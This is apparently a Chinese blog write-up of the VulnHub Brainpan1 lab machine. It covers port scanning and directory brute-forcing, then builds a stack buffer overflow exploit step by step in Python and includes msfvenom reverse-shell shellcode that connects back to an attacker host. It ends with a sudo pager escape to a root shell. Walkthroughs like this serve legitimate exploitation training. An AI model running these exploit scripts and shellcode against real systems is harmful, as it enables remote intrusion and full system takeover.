VulnHub-Brainpan1 靶机笔记

Brainpan1 靶机笔记

概述

靶机地址:https://vulnhub.com/entry/brainpan-1,51/#download

这台靶机是很好的缓冲区溢出漏洞利用的练习靶机,涉及到逆向和缓冲区溢出漏洞挖掘的一些知识。

一、nmap 扫描

1)端口扫描

nmap -sT --min-rate 10000 -p- -o ports 192.168.11.12

Nmap scan report for 192.168.11.12
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt
MAC Address: 00:0C:29:C2:77:55 (VMware)

看到开放了 9999 和 10000 两个端口

2)详细信息扫描

nmap -sT -sV -sC -p9999,10000 -o details 192.168.11.12

Nmap scan report for 192.168.11.12
Host is up (0.00059s latency).

PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.93%I=7%D=10/25%Time=671B59B3%P=x86_64-pc-linux-gnu%r(N
SF:ULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\
SF:|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20
SF:\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\
SF:x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\
SF:|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\
SF:x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\
SF:x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\
SF:x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\
SF:x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 00:0C:29:C2:77:55 (VMware)

二、Web 渗透

对于 10000 端口,进行了 web 端常规的测试

打开,同时进行目录爆破

看到主页面就是一张纯图片,也没有令我们感兴趣的信息,我们看看目录爆破能不能给我们一些有用的信息

sudo gobuster dir -u http://192.168.11.12:10000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.11.12:10000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/bin                  (Status: 301) [Size: 0] [--> /bin/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

看到 /bin 目录下有一个 brainpan.exe 的可执行文件,我们下载下来

wget http://192.168.11.12:10000/bin/brainpan.exe

看到这个文件就是 windows 的可执行文件

三、缓冲区溢出

1)判断漏洞存在

我们用 nc 与 9999 端口交互

nc -v 192.168.11.12 9999

192.168.11.12: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.11.12] 9999 (?) open
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> brainpan
                          ACCESS DENIED

看到他让我们输入 password,输入后 ACCESS DENIED 了

把从浏览器下载的 brainpan.exe 拿到 windows 环境中运行

看到这个文件在我的 windows 电脑上开启了 9999 端口,我们用 nc 和 windows 的 9999 交互看看

nc -v 192.168.11.1 9999 
192.168.11.1: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.11.1] 9999 (?) open
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> brainpan1
                          ACCESS DENIED

看到应该是和靶机一样的服务,靶机的 9999 可能就来自于这个服务

在服务端看到了向缓冲区复制的字样

2)判断最大字节数

这里可以用 python 写一个 socket 连接,去跟服务进行交互

python 复制代码
import socket,time,sys
mystr = 'A'
i = 1
while True:
    try:
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.connect(('192.168.11.1', 9999))
        msg = (mystr*100*i).encode('utf-8')
        print(msg)
        client.send(msg)
        print("[+]"+str(i*100)+"个字节已发送")
        i=i+1
        client.close()
        time.sleep(5)
    except :
        print("连接终止")
        sys.exit()

在 kali 中执行

sudo python BufferOverflow.py

看到发送到 600 字节时中断了

而在 window 中,接受到 600 字节时服务自己中断了

这里溢出的长短应该是不超过 600 个字节

3)定位 eip

用 msf 生成一组特定的长度和特征的字节,来判断具体位置

msf-pattern_create -l 600

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

用 Ollydbg 打开 brainpan.exe 可执行程序,并运行

kali 向 brainpan.exe 发送 msf 生成的 600 长度的字符串

看到 eip 的值 35724134

确定位置

看到 eip 的位置应该是在 524 个字节处

运行

python 复制代码
import socket,time,sys
try:
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(('192.168.11.1', 9999))
    msg =  'A'*524+'B'*4+'C'*72
    client.send(msg.encode('utf-8'))
    print("[+]"+str(600)+"个字节已发送")
    client.close()
    time.sleep(5)
except :
    print("连接终止")
    sys.exit()

发送完之后看到 eip 为 42424242

42 在 ascii 里就是 B 字符

也就是 eip 的位置是 525、526、527、528 四个字节

4)esp扩容

因为我们的payload长度一般为350-400字节,而72字节肯定是不够的,我们将esp扩容看程序的崩溃反应,。

我们尝试输入500个C

python 复制代码
import socket,time,sys
try:
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(('192.168.11.1', 9999))
    msg =  'A'*524+'B'*4+'C'*500
    client.send(msg.encode('utf-8'))
    print("[+]"+str(600)+"个字节已发送")
    client.close()
    time.sleep(5)
except :
    print("连接终止")
    sys.exit()

看到堆栈是从 005FFD40 开始的

一直到 005FFF14

相减一下得到堆栈的空间大小

看到堆栈的大小是468字节

5)坏字符识别

用到badchars库

git clone https://github.com/cytopia/badchars.git

执行

./badchars

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

看到所有可能的坏字符全部被列出来了

修改程序

python 复制代码
import socket,time,sys
try:
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(('192.168.11.1', 9999))
    badchars = (
      "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"+
      "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"+
      "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"+
      "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"+
      "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"+
      "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"+
      "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"+
      "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"+
      "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"+
      "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"+
      "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"+
      "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"+
      "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"+
      "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"+
      "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"+
      "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
    )
    msg =  'A'*524+'B'*4+badchars
    client.send(msg.encode('utf-8'))
    print("[+] badchars已发送")
    client.close()
    time.sleep(5)
except :
    print("连接终止")
    sys.exit()

通过坏字符识别发现除了/x00之外,没有其他的坏字符

6)jmp esp定位

右键搜索命令

看到存在jmp esp ,它的地址是 311712F3

三、获得立足点

生成linux的反弹shell

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.11.13 lport=443 -b "/x00"  -f c

unsigned char buf[] = 
"\xdd\xc4\xd9\x74\x24\xf4\x58\x31\xc9\xbb\x99\xc8\x26\x0f"
"\xb1\x12\x31\x58\x17\x03\x58\x17\x83\x59\xcc\xc4\xfa\x68"
"\x16\xff\xe6\xd9\xeb\x53\x83\xdf\x62\xb2\xe3\xb9\xb9\xb5"
"\x97\x1c\xf2\x89\x5a\x1e\xbb\x8c\x9d\x76\xfc\xc7\x55\x8b"
"\x94\x15\x6a\x92\xdf\x93\x8b\x24\x79\xf4\x1a\x17\x35\xf7"
"\x15\x76\xf4\x78\x77\x10\x69\x56\x0b\x88\x1d\x87\xc4\x2a"
"\xb7\x5e\xf9\xf8\x14\xe8\x1f\x4c\x91\x27\x5f";

构造最终的payload

python 复制代码
import socket,time,sys
try:
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(('192.168.11.12', 9999))
    buf = ("\xbb\x35\x4b\x5e\xd8\xd9\xd0\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x12\x31\x5a\x12\x83\xc2\x04\x03\x6f\x45\xbc\x2d\xbe"
"\x82\xb7\x2d\x93\x77\x6b\xd8\x11\xf1\x6a\xac\x73\xcc\xed"
"\x5e\x22\x7e\xd2\xad\x54\x37\x54\xd7\x3c\x08\x0e\x2c\xb1"
"\xe0\x4d\x33\xc8\x4b\xd8\xd2\x7a\xcd\x8b\x45\x29\xa1\x2f"
"\xef\x2c\x08\xaf\xbd\xc6\xfd\x9f\x32\x7e\x6a\xcf\x9b\x1c"
"\x03\x86\x07\xb2\x80\x11\x26\x82\x2c\xef\x29")

    msg = "\x41"*524 + "\xf3\x12\x17\x31"+ "\x90"*50 + buf 
    client.send(bytes(msg+ "\r\n", "latin-1"))
    print("[+] payload send successful")
    client.close()
    time.sleep(5)
except :
    print("连接终止")
    sys.exit()

执行

成功获得了立足点

四、提权

sudo -l

Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

看到/home/anansi/bin/anansi_util这个文件不需要密码可以用root权限运行

运行看看

sudo /home/anansi/bin/anansi_util

Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

看到有帮助信息,尝试执行

sudo /home/anansi/bin/anansi_util manual /bin/bash

进入了这样的界面,这个界面我们可太熟悉了。很像vi、vim、less这种的

用同样的方式尝试提权

!/bin/bash

看到我们成功获得了root权限的shell

总结

通过nmap发现目标开放了9999、10000两个端口,通过对10000端口进行常规的web渗透测试,发现了在/bin目录下有一个可执行文件。

下载下来文件进行观察,发现这个文件就是运行在9999端口的服务,通过对缓冲区溢出漏洞的发现和利用,成功获得了系统立足点,利用sudo -l看到有一个可执行程序可以利用进行提权

相关推荐
骑个小蜗牛6 分钟前
Python 标准库:string——字符串操作
python
CCSBRIDGE8 分钟前
Magento2项目部署笔记
笔记
亦枫Leonlew1 小时前
微积分复习笔记 Calculus Volume 2 - 5.1 Sequences
笔记·数学·微积分
群联云防护小杜1 小时前
如何给负载均衡平台做好安全防御
运维·服务器·网络·网络协议·安全·负载均衡
ihengshuai1 小时前
HTTP协议及安全防范
网络协议·安全·http
爱码小白1 小时前
网络编程(王铭东老师)笔记
服务器·网络·笔记
LuH11242 小时前
【论文阅读笔记】Learning to sample
论文阅读·笔记·图形渲染·点云
黑客Jack2 小时前
防御 XSS 的七条原则
安全·web安全·xss
黄公子学安全2 小时前
Java的基础概念(一)
java·开发语言·python
东方隐侠安全团队-千里2 小时前
网安瞭望台第17期:Rockstar 2FA 故障催生 FlowerStorm 钓鱼即服务扩张现象剖析
网络·chrome·web安全